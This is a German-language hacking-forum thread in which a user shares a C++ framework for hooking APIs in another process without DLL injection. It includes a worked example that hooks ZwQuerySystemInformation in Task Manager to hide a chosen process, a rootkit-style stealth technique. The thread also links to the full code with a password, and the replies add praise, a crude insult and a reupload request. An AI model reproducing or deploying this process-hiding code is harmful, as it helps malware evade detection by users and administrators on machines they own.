Ergebnis 1 bis 4 von 4
  1. #1
    Chloë Grace Moretz Avatar von ocz
    Registriert seit
    29.05.2010
    Beiträge
    384

    Standard Direct Injection API Hooking Framework

    Moin,

    ich habe gerade mein ApiHooking Framework in C++ fertiggestellt. Das ganze funktioniert ohne DLL-Injection und ist somit angenehmer zu benutzen. Der Code ist relativ gut kommentiert und kann nach belieben verändert und angepasst werden. Nur lasst bitte meinen Namen dastehen

    Hier eine kleines Beispiel wie man es benutzt:
    Code:
    #include "main.h"
    
    NTSTATUS WINAPI ZwQuerySystemInformation_(SYSTEM_INFORMATION_CLASS SystemInformationClass, void* SystemInformation, ULONG SystemInformationLength, ULONG* ReturnLength) {
        _LoadLibrary LoadLibrary_;
        _GetProcAddress GetProcAddress_;
        startCallback(LoadLibrary_, GetProcAddress_);
        /* START CODE */
        HMODULE hDLL = LoadLibrary_(ntdll);
        _ZwQuerySystemInformation ZwQuerySystemInformation__ = (_ZwQuerySystemInformation)GetProcAddress_(hDLL, querySysInfo);
        NTSTATUS ret = ZwQuerySystemInformation__(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
        originalCalled;
        if (SystemInformationClass == 0x05 && ret == 0) {
            DWORD pos = (DWORD)SystemInformation;
            DWORD prepos = 0;
            void** data;
            readInfo(data, 4, transfer1);
            while (pos < (DWORD)SystemInformation + *ReturnLength) {
                if ((DWORD)((SYSTEM_PROCESS_INFORMATION*)pos)->UniqueProcessId == **(DWORD**)data) {
                    ((SYSTEM_PROCESS_INFORMATION*)prepos)->NextEntryOffset += ((SYSTEM_PROCESS_INFORMATION*)pos)->NextEntryOffset;
                    break;
                }
                if (((SYSTEM_PROCESS_INFORMATION*)pos)->NextEntryOffset == 0)
                    break;
                prepos = pos;
                pos += ((SYSTEM_PROCESS_INFORMATION*)pos)->NextEntryOffset;
    
            }
        }
        /* END CODE */
        endCallback;
        return ret;
    }
    
    int main() {
        getDebugPrivileges();
        int procid;
        cin >> procid;
        char* stringlistSysInfo[] = {querySysInfo, transfer1};
    
        DWORD hideProc = GetCurrentProcessId();
        ApiHook::sendInfoToForeignProcess(&hideProc, 4, transfer1);
        ApiHook::hookAPIinForeignProcess(procid, "ZwQuerySystemInformation", "ntdll.dll", 
            ZwQuerySystemInformation_, stringlistSysInfo, 2, defaultstrings, NUM_OF_DEFAULT_STRINGS);
    
        system("PAUSE");
        return 0;
    }
    Dieser Hook zielt auf ZwQueryProcessInformation aus der ntdll.dll ab. Wählt man als Zielprozess beispielsweise den Taskmanager, so kann ein beliebiger Prozess aus der Liste versteckt werden (in diesem Beispiel der eigene). Wie man sieht ist der Code also recht kurz, dafür, dass er einen Prozess vom Taskmanager versteckt Jedes Callback muss als Prolog
    Code:
    _LoadLibrary LoadLibrary_;
    _GetProcAddress GetProcAddress_;
     startCallback(LoadLibrary_, GetProcAddress_);
    nutzen. Als Epilog wird
    Code:
    endCallback;
    return x;
    genutzt. Allerdings darf nicht mitten im Callback returned werden, daher bitte Variablen zum Zwischenspeichern benutzen und dann am ende returnen. Das Framework stellt LoadLibrary_ und GetProcAddress_ zur Verfügung, mit denen beliebige APIs improtiert werden können. Will man aus dem Callback die original API aufrufen, so holt man sich deren Adresse einfach per GetProcAddress (es wird dann ein Pointer zur nicht-gehookten zurückgegeben). Ruft man diese Originalfunktion auf, so muss die nächste Instruktion
    Code:
    originalCalled;
    sein. Möchte man in seinem Callback strings benutzen, so müssen diese außerhalb des Callbacks deklariert und definiert werden. Beim Aufruf von hookAPIinForeignProcess muss dann ein Array mit allen verwendeten Strings, sowie deren länge übergeben werden (diese werden dann in den Zielprozess kopiert und die Pointer angepasst).
    So das wars zur Verwendung.
    Fragen, bugs, Anregungen und Feedback bitte hier rein.

    hxxp://www.share-online.biz/download.php?id=WA1RYP3LMNS
    Password: OpCodez
    Geändert von ocz (09.06.2010 um 01:33 Uhr)

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    AlterHacker (03.07.2010), fl0wsty (21.12.2010), inmate (03.07.2010), luxury11 (03.07.2010), novaca!ne (11.06.2010)

  3. #2
    print&lt;&gt;=~y/0-9//,$/ Avatar von 0x30
    Registriert seit
    01.02.2010
    Beiträge
    468

    Standard

    Man ist das scheisse ey

    //krypt0n wird auch noch sagen, dass du größeste meehtschweinchenhoden lekken sölltest! kon tom!
    Geändert von 0x30 (03.07.2010 um 03:00 Uhr)
    Code:
    $_=<>;map$-+=$_,/./g;print$-,$/
    +0x60

  4. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    ocz (03.07.2010)

  5. #3
    Der `Toastflüsterer` Avatar von AlterHacker
    Registriert seit
    27.09.2008
    Beiträge
    690

    Standard

    Respekt.
    Gut kommentiert und sauber gecodet, super von dir das zu sharen ;-)

    Security is an illusion.
    Cheater : 8=o
    Normaluser : 8=======o
    Ich : 8================o

    BM: (4|2|0)

  6. #4

    Standard

    Würde mich über einen Reupp freuen

Ähnliche Themen

  1. D3D9 Hooking - Wie code ich D3D Hacks
    Von L!ke im Forum Biete Tutorials
    Antworten: 4
    Letzter Beitrag: 21.05.2010, 01:25
  2. framwork in windows integrieren ?
    Von br00_pwn im Forum .NET Sprachen - Techniken
    Antworten: 2
    Letzter Beitrag: 09.08.2009, 12:15
  3. C++ [hooking] question
    Von 1312 im Forum C, C++
    Antworten: 2
    Letzter Beitrag: 29.08.2008, 21:26
  4. [S] Act of war direct aktion
    Von FAIK im Forum Games
    Antworten: 0
    Letzter Beitrag: 20.01.2008, 20:55
  5. GameTrainer + Message Hooking
    Von syntex im Forum Trashbox
    Antworten: 0
    Letzter Beitrag: 06.09.2007, 14:39

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •